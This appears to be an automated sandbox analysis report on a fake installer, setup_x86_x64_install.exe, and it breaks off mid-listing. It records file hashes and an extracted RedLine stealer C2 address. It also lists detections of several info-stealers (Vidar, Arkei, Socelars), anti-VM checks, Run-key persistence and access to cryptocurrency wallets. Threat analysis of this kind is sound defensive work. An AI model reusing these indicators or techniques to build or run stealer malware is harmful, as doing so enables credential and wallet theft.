Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
08-10-2021 15:07
211008-shl8xsefa9 1008-10-2021 05:38
211008-gbvqyadce8 1007-10-2021 18:28
211007-w4jayacge3 10Analysis
-
max time kernel
104s -
max time network
1742s -
platform
windows11_x64 -
resource
win11 -
submitted
08-10-2021 15:07
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-ja-20210920
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7-de-20210920
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10-ja-20210920
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-en-20210920
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-de-20210920
General
-
Target
setup_x86_x64_install.exe
-
Size
5.9MB
-
MD5
0308d3044eda0db671c58c2a97cb3c10
-
SHA1
1737ab616a61d35b0bde0aaad949d9894e14be9e
-
SHA256
b52242da50ea2b3a05f6787dfa7197a0c99442e91d3bc78b71363c2ff3c4f072
-
SHA512
29902fe4a53319290d18b65a6baa1d747f1389a84cd7eb1a123d05b418b737336cd54c84b76403bc2cbb1f078c19b4461a89eec8214bfcdcf4831bb1dbda0e3e
Malware Config
Extracted
redline
media214
91.121.67.60:2151
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5352 4908 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
Processes:
resource yara_rule behavioral4/memory/1944-291-0x0000000000000000-mapping.dmp family_redline behavioral4/memory/1944-292-0x0000000000400000-0x0000000000422000-memory.dmp family_redline -
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu165bd34b1e1d4d81.exe family_socelars C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu165bd34b1e1d4d81.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 6 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 1564 created 4816 1564 WerFault.exe Thu16466b26f8b7.exe PID 592 created 2516 592 WerFault.exe Thu16205451b994.exe PID 2280 created 3276 2280 WerFault.exe Thu1628aafb3efd7c3d.exe PID 4788 created 4548 4788 WerFault.exe Thu165bd34b1e1d4d81.exe PID 5560 created 5376 5560 WerFault.exe rundll32.exe PID 5320 created 2348 5320 WerFault.exe nDem2Jj4S0zSItlPpl20peBR.exe -
Arkei Stealer Payload 1 IoCs
Processes:
resource yara_rule behavioral4/memory/6004-438-0x0000000000400000-0x0000000004A15000-memory.dmp family_arkei -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
Processes:
resource yara_rule behavioral4/memory/3276-282-0x0000000004C20000-0x0000000004CF6000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\libcurlpp.dll aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 51 IoCs
Processes:
setup_installer.exesetup_install.exeThu16205451b994.exeThu166f9a8bbe80.exeThu161580bf75.exeThu16f3de88a335950bb.exeThu16f584bd3686.exeThu1653d94a8da.exeThu164ba03be19.exeThu1628aafb3efd7c3d.exeThu16466b26f8b7.exeThu165bd34b1e1d4d81.exeThu167d514d2a7ac5a.exeThu16f3de88a335950bb.tmpThu16f3de88a335950bb.exeThu16f3de88a335950bb.tmp09xU.exECTqxJvmkZWJ2hSOaCWXQYm0F.exeThu164ba03be19.exe7231721.scr6647442.scr6036748.scryQTciQ6mzkKqUfVaQ7PT65g4.exeoMfUtIrKOohZfNXsczbdLhWB.exeiXQYAVs6MRuQ70gZkJxgUQD0.exepostback.exenDem2Jj4S0zSItlPpl20peBR.exeaVL0zwShl8SDM1Nhz4DDXwuK.exe_tPSqRpRyrQiGtNHdV8ZKH2_.exeKY178SxWqF7xJkZmPeytWy0D.exeXq3lxPgxhf9lRFGn1DpnsgGn.exeFarLabUninstaller.exeUkcKlVZQaU1T_Tk9fg4DF8Ki.exeIZhhQdf_ACsnY6fHlUQZ46_g.exetKVL2GRlhB4ATa0L_pLwGWwS.exefOQQaX1MpyY3WzsCPUPgeZgi.exeXbzmnUPhLrMtgqN8uKCWL4Vr.exexU4QVhhGGYDpDzhnPmCPdFLD.exeD6eI4LPczor41omES2LAPc49.exeIXWADmXTn7yzfCjqQJR3tQtJ.exeNDP472-KB4054531-Web.exe1YwD9ZqQyzsXxSid0bUX5EDp.exekmFxwYZ2_riHTMNxvwhtahYb.exey7eBlbaWBu4kU7qKHtScbK5T.execm3.exeinst002.exeDownFlSetup999.exe6686198.scrSetup.exe3990905.scraDLsKHQL9R.exEpid process 1184 setup_installer.exe 2380 setup_install.exe 2516 Thu16205451b994.exe 3112 Thu166f9a8bbe80.exe 5072 Thu161580bf75.exe 3948 Thu16f3de88a335950bb.exe 2944 Thu16f584bd3686.exe 1920 Thu1653d94a8da.exe 5016 Thu164ba03be19.exe 3276 Thu1628aafb3efd7c3d.exe 4816 Thu16466b26f8b7.exe 4548 Thu165bd34b1e1d4d81.exe 4544 Thu167d514d2a7ac5a.exe 4580 Thu16f3de88a335950bb.tmp 1556 Thu16f3de88a335950bb.exe 4540 Thu16f3de88a335950bb.tmp 3584 09xU.exE 3012 CTqxJvmkZWJ2hSOaCWXQYm0F.exe 1944 Thu164ba03be19.exe 5396 7231721.scr 5484 6647442.scr 5656 6036748.scr 5992 yQTciQ6mzkKqUfVaQ7PT65g4.exe 6004 oMfUtIrKOohZfNXsczbdLhWB.exe 6016 iXQYAVs6MRuQ70gZkJxgUQD0.exe 6040 postback.exe 2348 nDem2Jj4S0zSItlPpl20peBR.exe 4520 aVL0zwShl8SDM1Nhz4DDXwuK.exe 5160 _tPSqRpRyrQiGtNHdV8ZKH2_.exe 5188 KY178SxWqF7xJkZmPeytWy0D.exe 5176 Xq3lxPgxhf9lRFGn1DpnsgGn.exe 680 FarLabUninstaller.exe 5212 UkcKlVZQaU1T_Tk9fg4DF8Ki.exe 5192 IZhhQdf_ACsnY6fHlUQZ46_g.exe 5016 tKVL2GRlhB4ATa0L_pLwGWwS.exe 5308 fOQQaX1MpyY3WzsCPUPgeZgi.exe 2272 XbzmnUPhLrMtgqN8uKCWL4Vr.exe 4840 xU4QVhhGGYDpDzhnPmCPdFLD.exe 3380 D6eI4LPczor41omES2LAPc49.exe 5128 IXWADmXTn7yzfCjqQJR3tQtJ.exe 5368 NDP472-KB4054531-Web.exe 2076 1YwD9ZqQyzsXxSid0bUX5EDp.exe 2096 kmFxwYZ2_riHTMNxvwhtahYb.exe 2256 y7eBlbaWBu4kU7qKHtScbK5T.exe 5460 cm3.exe 4064 inst002.exe 5420 DownFlSetup999.exe 5220 6686198.scr 2936 Setup.exe 4536 3990905.scr 2160 aDLsKHQL9R.exE -
Sets service image path in registry 2 TTPs
-
Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
6036748.scrtKVL2GRlhB4ATa0L_pLwGWwS.exeXbzmnUPhLrMtgqN8uKCWL4Vr.exefOQQaX1MpyY3WzsCPUPgeZgi.exexU4QVhhGGYDpDzhnPmCPdFLD.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6036748.scr Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion tKVL2GRlhB4ATa0L_pLwGWwS.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion XbzmnUPhLrMtgqN8uKCWL4Vr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion fOQQaX1MpyY3WzsCPUPgeZgi.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion fOQQaX1MpyY3WzsCPUPgeZgi.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6036748.scr Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion tKVL2GRlhB4ATa0L_pLwGWwS.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion xU4QVhhGGYDpDzhnPmCPdFLD.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion xU4QVhhGGYDpDzhnPmCPdFLD.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion XbzmnUPhLrMtgqN8uKCWL4Vr.exe -
Loads dropped DLL 13 IoCs
Processes:
setup_install.exeThu16f3de88a335950bb.tmpThu16f3de88a335950bb.tmprundll32.exeSetup.exepid process 2380 setup_install.exe 2380 setup_install.exe 2380 setup_install.exe 2380 setup_install.exe 2380 setup_install.exe 2380 setup_install.exe 2380 setup_install.exe 2380 setup_install.exe 4580 Thu16f3de88a335950bb.tmp 4540 Thu16f3de88a335950bb.tmp 5376 rundll32.exe 2936 Setup.exe 2936 Setup.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\6036748.scr themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
6647442.scrdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 6647442.scr -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
6686198.scr6036748.scrXbzmnUPhLrMtgqN8uKCWL4Vr.exetKVL2GRlhB4ATa0L_pLwGWwS.exexU4QVhhGGYDpDzhnPmCPdFLD.exefOQQaX1MpyY3WzsCPUPgeZgi.exeIXWADmXTn7yzfCjqQJR3tQtJ.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6686198.scr Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6036748.scr Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA XbzmnUPhLrMtgqN8uKCWL4Vr.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA tKVL2GRlhB4ATa0L_pLwGWwS.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA xU4QVhhGGYDpDzhnPmCPdFLD.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA fOQQaX1MpyY3WzsCPUPgeZgi.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA IXWADmXTn7yzfCjqQJR3tQtJ.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 2 ip-api.com 2 ipinfo.io 41 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
Processes:
6036748.scrtKVL2GRlhB4ATa0L_pLwGWwS.exexU4QVhhGGYDpDzhnPmCPdFLD.exefOQQaX1MpyY3WzsCPUPgeZgi.exeIXWADmXTn7yzfCjqQJR3tQtJ.exeXbzmnUPhLrMtgqN8uKCWL4Vr.exe6686198.scrpid process 5656 6036748.scr 5016 tKVL2GRlhB4ATa0L_pLwGWwS.exe 4840 xU4QVhhGGYDpDzhnPmCPdFLD.exe 5308 fOQQaX1MpyY3WzsCPUPgeZgi.exe 5128 IXWADmXTn7yzfCjqQJR3tQtJ.exe 2272 XbzmnUPhLrMtgqN8uKCWL4Vr.exe 5220 6686198.scr -
Suspicious use of SetThreadContext 1 IoCs
Processes:
tKVL2GRlhB4ATa0L_pLwGWwS.exedescription pid process target process PID 5016 set thread context of 1944 5016 tKVL2GRlhB4ATa0L_pLwGWwS.exe Thu164ba03be19.exe -
Drops file in Program Files directory 13 IoCs
Processes:
Thu16f3de88a335950bb.tmpyQTciQ6mzkKqUfVaQ7PT65g4.exedescription ioc process File opened for modification C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe Thu16f3de88a335950bb.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-FLK28.tmp Thu16f3de88a335950bb.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-G0H9C.tmp Thu16f3de88a335950bb.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat Thu16f3de88a335950bb.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\cm3.exe yQTciQ6mzkKqUfVaQ7PT65g4.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe yQTciQ6mzkKqUfVaQ7PT65g4.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe yQTciQ6mzkKqUfVaQ7PT65g4.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe Thu16f3de88a335950bb.tmp File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat Thu16f3de88a335950bb.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-B7EAK.tmp Thu16f3de88a335950bb.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-IJELO.tmp Thu16f3de88a335950bb.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\inst002.exe yQTciQ6mzkKqUfVaQ7PT65g4.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini yQTciQ6mzkKqUfVaQ7PT65g4.exe -
Drops file in Windows directory 8 IoCs
Processes:
svchost.exeWerFault.exesvchost.exedescription ioc process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File opened for modification C:\Windows\Tasks\SA.DAT svchost.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 5 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 5468 4548 WerFault.exe Thu165bd34b1e1d4d81.exe 5440 3276 WerFault.exe Thu1628aafb3efd7c3d.exe 5432 2516 WerFault.exe Thu16205451b994.exe 5412 4816 WerFault.exe Thu16466b26f8b7.exe 4860 2348 WerFault.exe nDem2Jj4S0zSItlPpl20peBR.exe -
Checks processor information in registry 2 TTPs 37 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exesvchost.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe -
Enumerates system info in registry 2 TTPs 10 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 1332 taskkill.exe 1092 taskkill.exe -
Modifies data under HKEY_USERS 59 IoCs
Processes:
WaaSMedicAgent.exeLogonUI.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "73" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
